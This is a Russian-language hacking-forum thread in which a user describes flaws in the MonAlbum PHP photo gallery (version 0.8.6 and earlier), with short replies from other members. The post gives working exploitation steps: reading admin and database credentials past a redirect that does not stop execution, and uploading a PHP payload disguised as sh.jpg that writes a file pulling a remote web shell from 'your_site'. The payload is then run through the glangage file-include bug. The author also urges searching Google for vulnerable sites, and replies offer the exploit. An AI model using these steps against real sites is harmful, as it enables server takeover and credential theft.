PDA

Просмотр полной версии : Детские баги скрипта ))


Stefun
28.05.2007, 00:42
--------------[ Детские ошибки MonAlbum <= 0.8.6 ]----------
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++
Все для начинающих ))).

-----/ Вступление /------

Данный php-скрипт представляет из себя Фото Галлерею с поддержкой базы данных MySql, у нас она не очень популярна )).
Итак, по багтреку SecurityLab понятно, что есть бага в файле admin/admin_configuration.php. Смотрим:


include("./secure.php");

$glangage = $_POST['glangage'];
if (!isset($glangage)) include("../conf/config.inc.php"); // inclut pas qd sauvegarde

include ("../lib/album.inc");
include_once("../lang/$glangage");

$mod = $_POST['mod'];

//дальше идет вывод настроек MonAlbum ...


Этот файл предназначен для вывода опций галереи и их корректного сохранения.
В файле secure.php ничего нет кроме:


session_start();
if (!isset($_SESSION['name']))
header ("Location: http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/login_page.php");


Он всего лишь перенаправляет юзера, если тот не в сессии администратора.

Остальные инклуд файлы не предсталяют интереса, судя по их названиям(../conf/config.inc.php, ../lib/album.inc).

Строчка


include_once("../lang/$glangage");


не вызовет у нас проблем, даже если $_POST['glangage'] будет ссылаться на не существующий файл(можно считать, что это
локальный include-баг).

Вывод: можно просмотреть все настройки скрипта, включая логин и пасс админа, а также данные для подключения к базе данных, потому как скрипт продолжает выполняться после перенаправления браузера.(хедер Location:)


-------/ Эксплуатация /-------

Практически это осуществляется путем коннекта телнетом или неткатом к бажному сайту и запроса о выводе файла admin.php/admin_configuration.php.

Чтобы залить шелл потребуется войти под админом, закачать файл sh.jpg примерно такого содержания


<?php
$f=fopen("../images/sh.php","w");
fputs($f,"<?php include(\"http://your_site/sh.txt\");?>");
fclose($f);
die("yeah!");
?>


где как ты сам догадался sh.txt твой любимый пхп шелл. После закачки будет куча предупреждений, но файл будет успешно сохранен в папке images.
Теперь настал черед инклуд багу, заходим браузером на admin/admin_configuration.php, сохраняем страницу на жесткий диск,
удаляем из паги

<input type="hidden" name="mod">

и меняем <select name="glangage">, а точнее значение одного из <option> на название нашего файла "../images/sh.jpg".(незабудь изменить параметр action формы на корректное значение)
Теперь перезагружаем пагу, вибираем нужный нам язык )), и отправляем форму на сервер.
Видим надпись "yeah!", все получилось, шелл получен.))

------/ Заключение /--------

Конечно лучше тренироваться в использовании данной баги на локалхосте, но тебе никто не мешает сделать запрос в гугле на
бажный скрипт. Для счастливых владельцев этой галереи я бы порекомендовал пропатчить файл admin_configuration.php,
либо полностью отказаться от данного скрипта. Да и еще... самое главное! Статья написана в помощь
администраторам и авторам всевозможных пхп-скриптов, с целью указать на их возможные ошибки. Не
используйте информацию из этой статьи в целях противоречащих УК.

++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++
-----[ Copyright © 2007 Stefun ]-----

P.S.: Сплоит в наличии )))

REDsaratov
28.05.2007, 01:03
кому нужен сплойт обращайтесь
Статья сежак не копиПаст)))))))

vectorg
28.05.2007, 01:08
Это не статья. Место "разбору" тут (http://forum.antichat.ru/forum74.html).

[53x]Shadow
28.05.2007, 01:11
Имхо на статью не тянет, должно быть в разделе уязвимости
Хорошое описание баги +1